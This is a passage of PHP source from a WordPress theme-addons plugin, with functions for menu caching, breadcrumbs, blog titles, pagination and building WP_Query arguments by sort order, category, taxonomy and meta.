function trx_addons_get_menu_cache( $html, $args ) {
if ( apply_filters( 'trx_addons_get_menu_cache', trx_addons_is_on( trx_addons_get_option('menu_cache') ), $args ) ) {
$cache = trx_addons_cache_load( trx_addons_get_menu_cache_key( $args ) );
if ( ! empty( $cache ) ) {
$html = apply_filters( 'trx_addons_filter_get_menu_cache_html', $cache, $args );
}
}
return $html;
}
}
if ( ! function_exists( 'trx_addons_get_menu_cache_html' ) ) {
add_filter( 'trx_addons_filter_get_menu_cache_html', 'trx_addons_get_menu_cache_html', 10, 2 );
/**
* Filter menu html from cache before return it. Used to remove some classes and add to js-list with cached menus
*
* @hooked trx_addons_get_menu_cache
*
* @param string $html Menu html
* @param array $args Menu args
*
* @return string Menu html
*/
function trx_addons_get_menu_cache_html( $html, $args = array() ) {
// Remove class 'sc_layouts_menu_nav'
if ( ! empty( $args->clear_sc_layouts_classes ) ) {
$html = str_replace( 'sc_layouts_menu_nav', '', $html );
}
// Add to js-list with cached menus
$menu_id = '';
$menu_class = '';
if ( preg_match_all( '/<ul[^>]+id=[\'"]([^\'"]+)[\'"]/i', $html, $matches ) && ! empty( $matches[1][0] ) ) {
$menu_id = trim( $matches[1][0] );
} else if ( ! empty( $args->menu_id ) ) {
$menu_id = trim( $args->menu_id );
} else {
if ( ! empty( $args->menu_class ) ) {
$menu_class = trim( $args->menu_class );
} else if ( preg_match_all( '/<ul[^>]+class=[\'"]([^\'"]+)[\'"]/i', $html, $matches ) && ! empty( $matches[1][0] ) ) {
$menu_class = trim( $matches[1][0] );
}
if ( ! empty( $menu_class ) ) {
$menu_class = join( '.', array_map( 'trim', explode( ' ', trim( $matches[1][0] ) ) ) );
}
}
if ( ! empty( $menu_id ) || ! empty( $menu_class ) ) {
global $TRX_ADDONS_STORAGE;
if ( ! isset( $TRX_ADDONS_STORAGE['menu_cache'] ) ) {
$TRX_ADDONS_STORAGE['menu_cache'] = array();
}
$TRX_ADDONS_STORAGE['menu_cache'][] = ! empty( $menu_id ) ? '#' . esc_attr( $menu_id ) : '.' . esc_attr( $menu_class );
}
return $html;
}
}
if ( ! function_exists( 'trx_addons_add_menu_cache_to_js' ) ) {
add_filter( 'trx_addons_filter_localize_script', 'trx_addons_add_menu_cache_to_js' );
/**
* Add selectors of menus in the cache to js-vars
*
* @hooked trx_addons_filter_localize_script
*
* @param array $vars JS-vars
*
* @return array JS-vars
*/
function trx_addons_add_menu_cache_to_js( $vars ) {
global $TRX_ADDONS_STORAGE;
$vars['menu_cache'] = apply_filters( 'trx_addons_filter_menu_cache', ! empty( $TRX_ADDONS_STORAGE['menu_cache'] ) ? $TRX_ADDONS_STORAGE['menu_cache'] : array() );
return $vars;
}
}
if ( ! function_exists( 'trx_addons_widget_nav_menu_args' ) ) {
add_filter( 'widget_nav_menu_args', 'trx_addons_widget_nav_menu_args', 10, 4 );
/**
* Set a menu option to clear class 'sc_layouts_menu_nav' from cached menu
*
* @hooked widget_nav_menu_args
*
* @param array $nav_menu_args Menu args
* @param object $nav_menu Menu object
* @param array $args Menu args
* @param array $instance Menu instance
*
* @return array Menu args
*/
function trx_addons_widget_nav_menu_args( $nav_menu_args, $nav_menu, $args, $instance ) {
$nav_menu_args['clear_sc_layouts_classes'] = true;
return $nav_menu_args;
}
}
if ( ! function_exists( 'trx_addons_clear_menu_cache' ) ) {
add_action( 'wp_update_nav_menu', 'trx_addons_clear_menu_cache', 10, 2 );
/**
* Clear menu cache after update menu.
* DEPRECATED in 1.87.0, because it's not used anymore - menu cache is cleared in the 'trx_addons_cache_clear_on_save_menu' hook
*
* @hooked wp_update_nav_menu
*
* @param int $menu_id Menu ID
* @param array $menu_data Menu data
*/
function trx_addons_clear_menu_cache( $menu_id = 0, $menu_data = array() ) {
delete_transient( 'trx_addons_menu_' . get_stylesheet() );
}
}
/* Breadcrumbs
------------------------------------------------------------------------------------- */
if ( ! function_exists('trx_addons_action_breadcrumbs') ) {
add_action( 'trx_addons_action_breadcrumbs', 'trx_addons_action_breadcrumbs', 10, 1 );
/**
* Show breadcrumbs path on action 'trx_addons_action_breadcrumbs'
*
* @hooked trx_addons_action_breadcrumbs
*
* @param array $args An array with arguments for breadcrumbs
*/
function trx_addons_action_breadcrumbs( $args = array() ) {
trx_addons_get_template_part( 'templates/tpl.breadcrumbs.php',
'trx_addons_args_show_breadcrumbs',
$args
);
}
}
if ( ! function_exists( 'trx_addons_get_breadcrumbs' ) ) {
/**
* Return breadcrumbs path
*
* @param array $args Parameters
*
* @return string HTML with breadcrumbs
*/
function trx_addons_get_breadcrumbs( $args = array() ) {
global $wp_query, $post;
$args = array_merge( array(
'home' => esc_html__('Home', 'trx_addons'), // Home page title (if empty - not showed)
'home_link' => '', // Home page link
'truncate_title' => 50, // Truncate all titles to this length (if 0 - no truncate)
'truncate_add' => '...', // Append truncated title with this string
'delimiter' => '<span class="breadcrumbs_delimiter"></span>', // Delimiter between breadcrumbs items
'max_levels' => trx_addons_get_option( 'breadcrumbs_max_level', 0 ) // Max items in the path (0 - unlimited)
), is_array($args) ? $args : array( 'home' => $args )
);
if ( is_front_page() ) { // || is_home()
return '';
}
if ( (int)$args['truncate_title'] <= 0 ) {
$args['truncate_title'] = 999;
}
if ( (int)$args['max_levels'] <= 0 ) {
$args['max_levels'] = 999;
}
$level = 1 + ( isset( $args['home'] ) && $args['home'] != '' ? 1 : 0 ); // Current element + Home
$rez = $rez_all = $rez_parent = $rez_level = '';
// Get link to the 'All posts (products, events, etc.)' page
if ( $level > $args['max_levels'] ) {
$rez_level = '<span class="breadcrumbs_item">...</span>';
} else {
$rez_all = apply_filters( 'trx_addons_filter_get_blog_all_posts_link', '', $args );
if ( ! empty( $rez_all ) && $rez_all != '#' ) { // All posts
$level++;
}
}
$cat = $parent_tax = '';
$parent = $post_id = 0;
// Get current post ID and path to current post/page/attachment ( if it have parent posts/pages )
if ( is_page() || is_attachment() || trx_addons_is_single() ) {
$page_parent_id = apply_filters( 'trx_addons_filter_get_parent_id',
isset($wp_query->post->post_parent) ? $wp_query->post->post_parent : 0,
isset($wp_query->post->ID) ? $wp_query->post->ID : 0
);
$post_id = ( is_attachment()
? $page_parent_id
: ( isset( $wp_query->post->ID )
? $wp_query->post->ID
: 0
)
);
while ( $page_parent_id > 0 ) {
$page_parent = get_post( $page_parent_id );
if ( $level > $args['max_levels'] ) {
$rez_level = '<span class="breadcrumbs_item">...</span>';
} else {
$rez_parent = '<a class="breadcrumbs_item cat_post" href="' . esc_url(get_permalink($page_parent_id)) . '">'
. wp_kses_data( trx_addons_strshort( $page_parent->post_title, $args['truncate_title'], $args['truncate_add'] ) )
. '</a>'
. ( ! empty( $rez_parent ) ? $args['delimiter'] : '' )
. $rez_parent;
$level++;
}
if ( ( $page_parent_id = apply_filters('trx_addons_filter_get_parent_id', $page_parent->post_parent, $page_parent_id ) ) > 0 ) {
$post_id = $page_parent_id;
}
}
}
// Show parents
$step = 0;
do {
if ( $step++ == 0 ) {
if ( trx_addons_is_single() || is_attachment() ) {
$post_type = get_post_type();
if ( $post_type == 'post' ) {
$cats = get_the_category();
$cat = ! empty( $cats[0] ) ? $cats[0] : false;
} else {
$tax = trx_addons_get_post_type_taxonomy( $post_type );
if ( ! empty( $tax ) ) {
$cats = get_the_terms( get_the_ID(), $tax );
$cat = ! empty( $cats[0] ) ? $cats[0] : false;
}
}
if ( $cat ) {
if ( $level >= $args['max_levels'] ) {
$rez_level = '<span class="breadcrumbs_item">...</span>';
} else {
$rez_parent = '<a class="breadcrumbs_item cat_post" href="'.esc_url(get_term_link($cat->term_id, $cat->taxonomy)).'">'
. apply_filters( 'trx_addons_filter_term_name', trx_addons_strshort( $cat->name, $args['truncate_title'], $args['truncate_add'] ), $cat )
. '</a>'
. ( ! empty( $rez_parent ) ? $args['delimiter'] : '' )
. $rez_parent;
$level++;
}
}
} else if ( is_category() ) {
$cat_id = (int)get_query_var( 'cat' );
if ( empty( $cat_id ) ) {
$cat_id = get_query_var( 'category_name' );
}
$cat = get_term_by( is_numeric( $cat_id ) && (int) $cat_id > 0 ? 'id' : 'slug', $cat_id, 'category', OBJECT);
} else if ( is_tag() ) {
$cat = get_term_by( 'slug', get_query_var( 'post_tag' ), 'post_tag', OBJECT);
} else if ( is_tax() ) {
$cat = $wp_query->get_queried_object();
}
if ( $cat ) {
$parent = $cat->parent;
$parent_tax = $cat->taxonomy;
}
}
if ( $parent ) {
$cat = get_term_by( 'id', $parent, $parent_tax, OBJECT);
if ( $cat ) {
$cat_link = get_term_link($cat->slug, $cat->taxonomy);
if ( $level > $args['max_levels'] ) {
$rez_level = '<span class="breadcrumbs_item">...</span>';
} else {
$rez_parent = '<a class="breadcrumbs_item cat_parent" href="'.esc_url($cat_link).'">'
. apply_filters( 'trx_addons_filter_term_name', trx_addons_strshort( $cat->name, $args['truncate_title'], $args['truncate_add'] ), $cat )
. '</a>'
. ( ! empty( $rez_parent ) ? $args['delimiter'] : '' )
. $rez_parent;
$level++;
}
$parent = $cat->parent;
}
}
} while ($parent);
$rez_parent = apply_filters('trx_addons_filter_get_parents_links', $rez_parent, $args);
$rez_period = '';
if ( ( is_day() || is_month() ) && is_object( $post ) ) {
$year = get_the_time('Y');
$month = get_the_time('m');
$rez_period = '<a class="breadcrumbs_item cat_parent" href="' . get_year_link( $year ) . '">' . ($year) . '</a>';
if ( is_day() ) {
$rez_period .= ( ! empty( $rez_period ) ? $args['delimiter'] : '' )
. '<a class="breadcrumbs_item cat_parent" href="' . esc_url( get_month_link( $year, $month ) ) . '">'
. esc_html( get_the_date('F') )
. '</a>';
}
}
if ( ! is_front_page() ) { // && !is_home()
$title = trx_addons_get_blog_title();
if ( is_array( $title ) ) {
$title = $title['text'];
}
$title = trx_addons_strshort( $title, $args['truncate_title'], $args['truncate_add'] );
$rez .= ( isset( $args['home'] ) && $args['home'] != ''
? '<a class="breadcrumbs_item home" href="' . esc_url( $args['home_link'] ? $args['home_link'] : home_url('/') ) . '">'
. $args['home']
. '</a>'
. $args['delimiter']
: '')
. ( ! empty( $rez_all ) && $rez_all != '#' ? $rez_all . $args['delimiter'] : '' )
. ( ! empty( $rez_level ) ? $rez_level . $args['delimiter'] : '' )
. ( ! empty( $rez_parent ) ? $rez_parent . $args['delimiter'] : '' )
. ( ! empty( $rez_period ) ? $rez_period . $args['delimiter'] : '' )
. ( ! empty( $title ) ? '<span class="breadcrumbs_item current">' . wp_kses_data( $title ) . '</span>' : '' );
}
return apply_filters( 'trx_addons_filter_get_breadcrumbs', $rez );
}
}
if ( ! function_exists( 'trx_addons_get_blog_all_posts_link' ) ) {
add_filter( 'trx_addons_filter_get_blog_all_posts_link', 'trx_addons_get_blog_all_posts_link', 10, 2 );
/**
* Return link to the all posts page for the breadcrumbs
*
* @hooked trx_addons_filter_get_blog_all_posts_link
*
* @param string $link Link to the all posts page
* @param array $args Breadcrumbs args
*
* @return string Link to the all posts page
*/
function trx_addons_get_blog_all_posts_link( $link = '', $args = array() ) {
if ( $link == '' ) {
if ( trx_addons_is_posts_page() && ! is_home() ) { // ! is_post_type_archive( 'post' )
if ( ( $url = get_post_type_archive_link( 'post' ) ) != '' ) {
$obj = get_post_type_object( 'post' );
$link = '<a class="breadcrumbs_item all_posts" href="' . esc_url( $url ) . '">' . esc_html( $obj->labels->all_items ) . '</a>';
}
}
}
return $link;
}
}
if ( ! function_exists( 'trx_addons_is_posts_page' ) ) {
/**
* Check if it's posts page
*
* @return bool
*/
function trx_addons_is_posts_page() {
return ! is_search()
&& (
( trx_addons_is_single() && get_post_type() == 'post' )
|| is_category()
|| is_tag()
);
}
}
if ( ! function_exists( 'trx_addons_cpt_custom_get_blog_all_posts_link' ) ) {
add_filter('trx_addons_filter_get_blog_all_posts_link', 'trx_addons_cpt_custom_get_blog_all_posts_link', 1000, 2);
/**
* Return link to the 'All posts' for CPT in the breadcrumbs
*
* @hooked trx_addons_filter_get_blog_all_posts_link
*
* @param string $link Link to the all posts page
* @param array $args Breadcrumbs args
*
* @return string Link to the all posts page
*/
function trx_addons_cpt_custom_get_blog_all_posts_link( $link = '', $args = array() ) {
if ( $link == '' && ! is_search() ) {
$pt = '';
if ( trx_addons_is_single() ) {
$pt = get_post_type();
} else {
$obj = get_queried_object();
if ( ! empty( $obj->taxonomy ) ) {
$tax = get_taxonomy( $obj->taxonomy );
if ( ! empty( $tax->object_type[0] ) ) {
$pt = $tax->object_type[0];
}
}
}
if ( ! empty( $pt ) ) {
$obj = get_post_type_object( $pt );
if ( ( $url = get_post_type_archive_link( $pt ) ) != '' ) {
$link = '<a class="breadcrumbs_item all_posts" href="' . esc_url( $url ) . '">' . esc_html( $obj->labels->all_items ) . '</a>';
}
}
}
return $link;
}
}
if ( ! function_exists('trx_addons_get_blog_title') ) {
/**
* Return text for the blog title
*
* @return string
*/
function trx_addons_get_blog_title() {
if ( is_front_page() ) {
$title = esc_html__( 'Home', 'trx_addons' );
} else if ( is_home() ) {
$title = get_option( 'page_for_posts' ) == get_queried_object_id()
? get_the_title( get_queried_object_id() )
: esc_html__( 'All Posts', 'trx_addons' );
} else if ( is_author() ) {
$curauth = get_query_var( 'author_name' ) ? get_user_by( 'slug', get_query_var( 'author_name' ) ) : get_userdata( get_query_var( 'author' ) );
$title = sprintf( esc_html__( 'Author page: %s', 'trx_addons' ), $curauth->display_name );
} else if ( is_404() ) {
$title = esc_html__( 'URL not found', 'trx_addons' );
} else if ( is_search() ) {
$title = sprintf( esc_html__( 'Search: %s', 'trx_addons' ), get_search_query() );
} else if ( is_day() ) {
$title = sprintf( esc_html__( 'Daily Archives: %s', 'trx_addons' ), get_the_date() );
} else if ( is_month() ) {
$title = sprintf( esc_html__( 'Monthly Archives: %s', 'trx_addons' ), get_the_date( 'F Y' ) );
} else if ( is_year() ) {
$title = sprintf( esc_html__( 'Yearly Archives: %s', 'trx_addons' ), get_the_date( 'Y' ) );
} else if ( is_category() ) {
$title = sprintf( esc_html__( '%s', 'trx_addons' ), single_cat_title( '', false ) );
} else if ( is_tag() ) {
$title = sprintf( esc_html__( 'Tag: %s', 'trx_addons' ), single_tag_title( '', false ) );
} else if ( is_tax() ) {
$title = single_term_title( '', false );
} else if ( is_post_type_archive() ) {
$obj = get_queried_object();
$title = ! empty( $obj->labels->all_items )
? $obj->labels->all_items
: ( ! empty( $obj->post_title )
? $obj->post_title
: '' );
} else if ( is_attachment() ) {
$title = sprintf( esc_html__( 'Attachment: %s', 'trx_addons' ), get_the_title() );
} else if ( trx_addons_is_single() || is_page() ) {
$title = get_the_title();
} else if ( trx_addons_is_preview() ) { // Default title to display it inside page builders
$title = esc_html__( 'Page (post) title', 'trx_addons' );
} else {
$title = get_the_title(); // get_bloginfo('name', 'raw');
}
return apply_filters( 'trx_addons_filter_get_blog_title', $title );
}
}
/* Blog pagination
------------------------------------------------------------------------------------- */
if ( ! function_exists( 'trx_addons_show_pagination' ) ) {
/**
* Display pagination with a specified style
*
* @param string $pagination Pagination style: 'pages' - standard WP pagination, 'links' - next/prev links
*/
function trx_addons_show_pagination( $pagination = 'pages' ) {
global $wp_query;
// Page numbers
if ( $pagination == 'pages' ) {
trx_addons_show_layout( str_replace( "\n", '', get_the_posts_pagination(
apply_filters( 'trx_addons_filter_get_the_posts_pagination_args', array(
'mid_size' => 2,
'prev_text' => esc_html__( '<', 'trx_addons' ),
'next_text' => esc_html__( '>', 'trx_addons' ),
'before_page_number' => '<span class="meta-nav screen-reader-text">' . esc_html__( 'Page', 'trx_addons' ) . ' </span>',
) )
) ) );
// Prev/Next links
} else if ($pagination == 'links') {
?>
<div class="nav-links-old">
<span class="nav-prev"><?php previous_posts_link( is_search() ? esc_html__('Previous posts', 'trx_addons') : esc_html__('Newest posts', 'trx_addons') ); ?></span>
<span class="nav-next"><?php next_posts_link( is_search() ? esc_html__('Next posts', 'trx_addons') : esc_html__('Older posts', 'trx_addons'), $wp_query->max_num_pages ); ?></span>
</div>
<?php
}
}
}
if ( ! function_exists('trx_addons_pagination') ) {
/**
* Display pagination with group pages: [1-10][11-20]...[24][25][26]...[31-40][41-45]
*
* @param array $args - array of parameters
*/
function trx_addons_pagination( $args = array() ) {
$args = array_merge(array(
'class' => '', // Additional 'class' attribute for the pagination section
'button_class' => '', // Additional 'class' attribute for the each page button
'base_link' => '', // Base link for each page. If specified - all pages use it and add '&page=XX' to the end of this link. Else - use get_pagenum_link()
'total_posts' => 0, // Total posts number
'posts_per_page' => 0, // Posts per page
'total_pages' => 0, // Total pages (instead total_posts, otherwise - calculate number of pages)
'cur_page' => 0, // Current page
'near_pages' => 2, // Number of pages to be displayed before and after the current page
'group_pages' => 10, // How many pages in group
'pages_text' => '', //__('Page %CURRENT_PAGE% of %TOTAL_PAGES%', 'trx_addons'),
'cur_text' => "%PAGE_NUMBER%",
'page_text' => "%PAGE_NUMBER%",
'first_text'=> __('« First', 'trx_addons'),
'last_text' => __("Last »", 'trx_addons'),
'prev_text' => __("« Prev", 'trx_addons'),
'next_text' => __("Next »", 'trx_addons'),
'dot_text' => "…",
'before' => '',
'after' => ''
), is_array( $args )
? $args
: ( is_int($args)
? array( 'cur_page' => $args ) // If a number parameter received - use it as offset
: array( 'class' => $args ) // If a string parameter received - use it as 'class' name
)
);
if ( empty( $args['before'] ) ) $args['before'] = '<div class="trx_addons_pagination'.(!empty($args['class']) ? ' '.$args['class'] : '').'">';
if ( empty( $args['after'] ) ) $args['after'] = '</div>';
extract($args);
global $wp_query;
// Detect total pages
if ( $total_pages == 0 ) {
if ( $total_posts == 0 ) $total_posts = $wp_query->found_posts;
if ( $posts_per_page == 0 ) $posts_per_page = (int) get_query_var('posts_per_page');
$total_pages = ceil($total_posts / $posts_per_page);
}
if ( $total_pages < 2 ) return;
// Detect current page
if ( $cur_page == 0 ) {
$cur_page = (int) get_query_var('paged');
if ( $cur_page == 0 ) $cur_page = (int) get_query_var('page');
if ( $cur_page <= 0 ) $cur_page = 1;
}
// Near pages
$show_pages_start = $cur_page - $near_pages;
$show_pages_end = $cur_page + $near_pages;
// Current group
$cur_group = ceil($cur_page / $group_pages);
$output = $before;
// Page XX from XXX
if ($pages_text) {
$pages_text = str_replace(
array("%CURRENT_PAGE%", "%TOTAL_PAGES%"),
array(number_format_i18n($cur_page),number_format_i18n($total_pages)),
$pages_text);
$output .= '<span class="'.esc_attr($class).'_pages '.$button_class.'">' . $pages_text . '</span>';
}
if ($cur_page > 1) {
// First page
$first_text = str_replace("%TOTAL_PAGES%", number_format_i18n($total_pages), $first_text);
$output .= '<a href="'.esc_url($base_link ? $base_link.'&page=1' : get_pagenum_link()).'" data-page="1" class="'.esc_attr($class).'_first '.$button_class.'">'.$first_text.'</a>';
// Prev page
$output .= '<a href="'.esc_url($base_link ? $base_link.'&page='.($cur_page-1) : get_pagenum_link($cur_page-1)).'" data-page="'.esc_attr($cur_page-1).'" class="'.esc_attr($class).'_prev '.$button_class.'">'.$prev_text.'</a>';
}
// Page buttons
$group = 1;
$dot1 = $dot2 = false;
for ($i = 1; $i <= $total_pages; $i++) {
if ($i % $group_pages == 1) {
$group = ceil($i / $group_pages);
if ($group != $cur_group)
$output .= '<a href="'.esc_url($base_link ? $base_link.'&page='.$i : get_pagenum_link($i)).'" data-page="'.esc_attr($i).'" class="'.esc_attr($class).'_group '.$button_class.'">'.$i.'-'.min($i+$group_pages-1, $total_pages).'</a>';
}
if ($group == $cur_group) {
if ($i < $show_pages_start) {
if (!$dot1) {
$output .= '<a href="'.esc_url($base_link ? $base_link.'&page='.($show_pages_start-1) : get_pagenum_link($show_pages_start-1)).'" data-page="'.esc_attr($show_pages_start-1).'" class="'.esc_attr($class).'_dot '.$button_class.'">'.$dot_text.'</a>';
$dot1 = true;
}
} else if ($i > $show_pages_end) {
if (!$dot2) {
$output .= '<a href="'.esc_url($base_link ? $base_link.'&page='.($show_pages_end+1) : get_pagenum_link($show_pages_end+1)).'" data-page="'.esc_attr($show_pages_end+1).'" class="'.esc_attr($class).'_dot '.$button_class.'">'.$dot_text.'</a>';
$dot2 = true;
}
} else if ($i == $cur_page) {
$cur_text = str_replace("%PAGE_NUMBER%", number_format_i18n($i), $cur_text);
$output .= '<span class="'.esc_attr($class).'_current active '.$button_class.'">'.$cur_text.'</span>';
} else {
$text = str_replace("%PAGE_NUMBER%", number_format_i18n($i), $page_text);
$output .= '<a href="'.esc_url($base_link ? $base_link.'&page='.trim($i) : get_pagenum_link($i)).'" data-page="'.esc_attr($i).'" class="'.$button_class.'">'.$text.'</a>';
}
}
}
if ($cur_page < $total_pages) {
// Next page
$output .= '<a href="'.esc_url($base_link ? $base_link.'&page='.($cur_page+1) : get_pagenum_link($cur_page+1)).'" data-page="'.esc_attr($cur_page+1).'" class="'.esc_attr($class).'_next '.$button_class.'">'.$next_text.'</a>';
// Last page
$last_text = str_replace("%TOTAL_PAGES%", number_format_i18n($total_pages), $last_text);
$output .= '<a href="'.esc_url($base_link ? $base_link.'&page='.trim($total_pages) : get_pagenum_link($total_pages)).'" data-page="'.esc_attr($total_pages).'" class="'.esc_attr($class).'_last '.$button_class.'">'.$last_text.'</a>';
}
$output .= $after;
trx_addons_show_layout($output);
}
}
if ( ! function_exists('trx_addons_get_current_page') ) {
/**
* Return current page number from GET or POST parameter 'page' or query vars 'paged' or 'page'
*
* @return int Current page number
*/
function trx_addons_get_current_page() {
if ( ( $page = trx_addons_get_value_gp( 'page', -999 ) ) == -999 ) {
if ( ! ( $page = get_query_var( 'paged' ) ) ) {
if ( ! ( $page = get_query_var( 'page' ) ) ) {
$page = 1;
}
}
}
return $page;
}
}
if ( ! function_exists('trx_addons_get_the_ID') ) {
/**
* Return current post ID
*
* @return int Current post ID
*/
function trx_addons_get_the_ID() {
global $wp_query;
return trx_addons_in_the_loop()
? get_the_ID()
: ( ! empty( $wp_query->post->ID )
? $wp_query->post->ID
: ( trx_addons_is_singular() && ! empty( $wp_query->queried_object->ID )
? $wp_query->queried_object->ID
: 0
)
);
}
}
if ( ! function_exists('trx_addons_in_the_loop') ) {
/**
* Check if current post/page is inside the loop
*
* @return bool
*/
function trx_addons_in_the_loop() {
$rez = in_the_loop();
if ( ! $rez ) {
global $TRX_ADDONS_STORAGE;
if ( ! empty( $TRX_ADDONS_STORAGE['sc_list'] ) && is_array( $TRX_ADDONS_STORAGE['sc_list'] ) ) {
foreach ( $TRX_ADDONS_STORAGE['sc_list'] as $sc => $params ) {
if ( ! empty( $params['post_loop'] ) ) {
$rez = trx_addons_sc_stack_check( "trx_sc_{$sc}", true ); // Check if last stack element is post_loop shoctcode
if ( $rez ) {
break;
}
}
}
}
if ( ! $rez && ! empty( $TRX_ADDONS_STORAGE['cpt_list'] ) && is_array( $TRX_ADDONS_STORAGE['cpt_list'] ) ) {
foreach ( $TRX_ADDONS_STORAGE['cpt_list'] as $sc => $params ) {
if ( ! empty( $params['post_loop'] ) ) {
$rez = trx_addons_sc_stack_check( "trx_sc_{$sc}", true ); // Check if last stack element is post_loop shoctcode
if ( $rez ) {
break;
}
}
}
}
}
return $rez;
}
}
if ( ! function_exists( 'trx_addons_is_singular' ) ) {
/**
* Check if current mode is 'singular'
*
* @param string $type Post type
*
* @return bool True if current mode is 'singular' for specified post type
*/
function trx_addons_is_singular( $type = '' ) {
global $wp_query;
return apply_filters( 'trx_addons_filter_is_singular', ! empty( $wp_query->queried_object->ID ) && is_singular( $type ), $type ); // did_action( 'wp_loaded' ) &&
}
}
if ( ! function_exists( 'trx_addons_is_single' ) ) {
/**
* Check if current mode is 'single'
*
* @return bool True if current mode is 'single'
*/
function trx_addons_is_single() {
global $wp_query;
return apply_filters( 'trx_addons_filter_is_single', ! empty( $wp_query->queried_object->ID ) && is_single() ); // did_action( 'wp_loaded' ) &&
}
}
/* Query manipulations
------------------------------------------------------------------------------------- */
if ( ! function_exists('trx_addons_query_add_sort_order') ) {
/**
* Add sorting parameter to query arguments
*
* @param array $args Query arguments
* @param string $orderby Order by
* @param string $order Order
*
* @return array Modified query arguments
*/
function trx_addons_query_add_sort_order( $args, $orderby = 'date', $order = 'desc' ) {
if ( ! empty( $orderby ) && ( empty( $args['orderby'] ) || $orderby != 'none' ) ) {
$q = apply_filters( 'trx_addons_filter_add_sort_order', array(), $orderby, $order );
$q['order'] = 'asc' == $order ? 'asc' : 'desc';
if ( empty( $q['orderby'] ) ) {
if ($orderby == 'none') {
$q['orderby'] = 'none';
} else if ($orderby == 'ID') {
$q['orderby'] = 'ID';
} else if ($orderby == 'comments') {
$q['orderby'] = 'comment_count';
} else if ($orderby == 'title' || $orderby == 'alpha') {
$q['orderby'] = 'title';
} else if ($orderby == 'rand' || $orderby == 'random') {
$q['orderby'] = 'rand';
} else if ($orderby == 'update' || $orderby == 'post_update' || $orderby == 'post_modified') {
$q['orderby'] = 'post_modified';
} else {
$q['orderby'] = 'post_date';
}
}
foreach ( $q as $mk => $mv ) {
if ( is_array( $args ) ) {
$args[ $mk ] = $mv;
} else {
$args->set( $mk, $mv );
}
}
}
return apply_filters( 'trx_addons_filter_add_sort_order_args', $args, $orderby, $order );
}
}
if ( ! function_exists( 'trx_addons_query_sort_order_views_likes' ) ) {
add_filter('trx_addons_filter_add_sort_order', 'trx_addons_query_sort_order_views_likes', 10, 3);
/**
* Add query parameters to sort posts by views or likes
*
* @hooked trx_addons_filter_add_sort_order
*
* @param array $q Query arguments
* @param string $orderby Order by
* @param string $order Order
*
* @return array Modified query arguments
*/
function trx_addons_query_sort_order_views_likes( $q = array(), $orderby = 'date', $order = 'desc' ) {
if ( 'views' == $orderby ) {
$q['orderby'] = 'meta_value_num';
$q['meta_key'] = 'trx_addons_post_views_count';
} elseif ( 'likes' == $orderby ) {
$q['orderby'] = 'meta_value_num';
$q['meta_key'] = 'trx_addons_post_likes_count';
}
return $q;
}
}
if ( ! function_exists('trx_addons_query_add_posts_and_cats') ) {
/**
* Add posts and categories parameters to query arguments
*
* @param array $args Query arguments
* @param string $ids Comma separated list with posts IDs
* @param mixed $post_type Post type
* @param string $cat Comma separated list with categories slugs
* @param string $taxonomy Taxonomy name
*
* @return array Modified query arguments
*/
function trx_addons_query_add_posts_and_cats( $args, $ids = '', $post_type = '', $cat = '', $taxonomy = '' ) {
if ( ! empty( $ids ) ) {
$args['post_type'] = empty( $args['post_type'] ) // ( empty( $post_type ) ? 'any' : $post_type)
? 'any'
: $args['post_type'];
$args['post__in'] = explode( ',', str_replace( array( ';', ' ' ), array( ',', '' ), $ids ) );
if ( empty( $args['posts_per_page'] ) ) {
$args['posts_per_page'] = count( $args['post__in'] );
}
if ( empty( $args['orderby']) || $args['orderby'] == 'none' ) {
$args['orderby'] = 'post__in';
if ( isset( $args['order'] ) ) {
unset( $args['order'] );
}
}
} else {
$args['post_type'] = empty( $args['post_type'] ) || ! empty( $post_type )
? ( empty( $post_type ) ? 'post' : $post_type )
: $args['post_type'];
$post_type = is_array( $args['post_type'] ) ? $args['post_type'][0] : $args['post_type'];
if ( ! empty( $cat ) ) {
$cats = ! is_array( $cat ) ? explode( ',', $cat ) : $cat;
$cats = array_map( 'trim', $cats );
if ( empty( $taxonomy ) ) {
$taxonomy = 'category';
}
if ( $taxonomy == 'category' ) { // Add standard categories
if ( is_array( $cats ) && count( $cats ) > 1 ) {
$cats_ids = array();
foreach( $cats as $c ) {
if ( empty( $c ) ) continue;
if ( (int)$c == 0 ) {
$cat_term = get_term_by( 'slug', $c, $taxonomy, OBJECT);
if ( $cat_term ) {
$c = $cat_term->term_id;
}
}
if ( $c == 0 ) continue;
$cats_ids[] = (int)$c;
$children = get_categories( array(
'type' => $post_type,
'child_of' => $c,
'hide_empty' => 0,
'hierarchical' => 0,
'taxonomy' => $taxonomy,
'pad_counts' => false
));
if ( is_array( $children ) && count( $children ) > 0 ) {
foreach ( $children as $c ) {
if ( ! in_array( (int)$c->term_id, $cats_ids ) ) {
$cats_ids[] = (int)$c->term_id;
}
}
}
}
if ( count( $cats_ids ) > 0 ) {
$args['category__in'] = $cats_ids;
}
} else if ( ! empty( $cats ) ) {
$cat = trx_addons_array_get_first_value( $cats );
if ( (int)$cat > 0 ) {
$args['cat'] = (int)$cat;
} else {
$args['category_name'] = $cat;
}
}
} else {
$cat = trx_addons_array_get_first_value( $cats );
if ( ! empty( $cat ) ) { // Add custom taxonomies
if ( ! isset( $args['tax_query'] ) ) {
$args['tax_query'] = array();
}
$args['tax_query']['relation'] = 'AND';
$args['tax_query'][] = array(
'taxonomy' => $taxonomy,
'include_children' => true,
'field' => (int) $cat > 0 ? 'id' : 'slug',
'terms' => $cats
);
}
}
}
}
return $args;
}
}
if ( ! function_exists('trx_addons_query_add_taxonomy') ) {
/**
* Add taxonomy parameters to the query arguments
*
* @param array $args query arguments
* @param array $taxonomy taxonomy name or array of taxonomies
* @param array $value taxonomy value or array of values
*
* @return array query arguments
*/
function trx_addons_query_add_taxonomy( $args, $taxonomy = array(), $value = false ) {
if ( ! is_array( $taxonomy ) ) {
$value = ! is_array( $value ) ? explode( ',', $value ) : $value;
$taxonomy = array(
array(
'taxonomy' => $taxonomy,
'include_children' => true,
'field' => (int)$value[0] > 0 ? 'id' : 'slug',
'terms' => count( $value ) > 1 ? $value : $value[0]
)
);
}
foreach ( $taxonomy as $v ) {
if ( ! isset( $args['tax_query'] ) ) {
$args['tax_query'] = array();
$args['tax_query']['relation'] = 'AND';
}
$args['tax_query'][] = $v;
}
return $args;
}
}
if ( ! function_exists('trx_addons_query_add_meta') ) {
/**
* Add meta parameters to the query arguments
*
* @param array $args query arguments
* @param array $meta meta name or array of metas
* @param array $value meta value or array of values
*
* @return array query arguments
*/
function trx_addons_query_add_meta( $args, $meta = array(), $value = false ) {
if ( ! is_array( $meta ) ) {
$value = explode( ',', $value );
